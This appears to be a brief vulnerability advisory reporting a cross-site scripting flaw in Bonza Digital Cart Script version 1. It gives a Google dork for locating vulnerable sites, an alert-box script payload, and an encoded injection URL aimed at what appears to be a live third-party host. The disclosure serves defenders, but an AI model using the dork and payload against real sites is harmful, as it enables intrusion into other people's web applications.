Bonza Digital Cart Script version 1 suffers from a cross site scripting vulnerability.
a052624445d758b06438e06c4fe5a9c8============================================================================================================================
| # Title : Bonza Digital Cart Script version 1 XSS Vulnerability |
| # Author : indoushka |
| # email : [email protected] |
| # Tested on : windows 10 FranASSais V.(Pro) |
| # Version : 1 |
| # Vendor : http://www.turnkeycentral.com/scripts/bonza-digital-cart-script/ |
| # Dork : "cms_pages.php?pn=Disclaimer" |
============================================================================================================================
poc :
[+] Dorking Adegn Google Or Other Search Enggine
[+] use payload : <script>alert(/indoushka/);</script>
http://jofu.bplaced.net//re.php?opt4&id=1%27%22()%26%25%3Cscript%3Ealert(/indoushka/);%3C/script%3E
Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================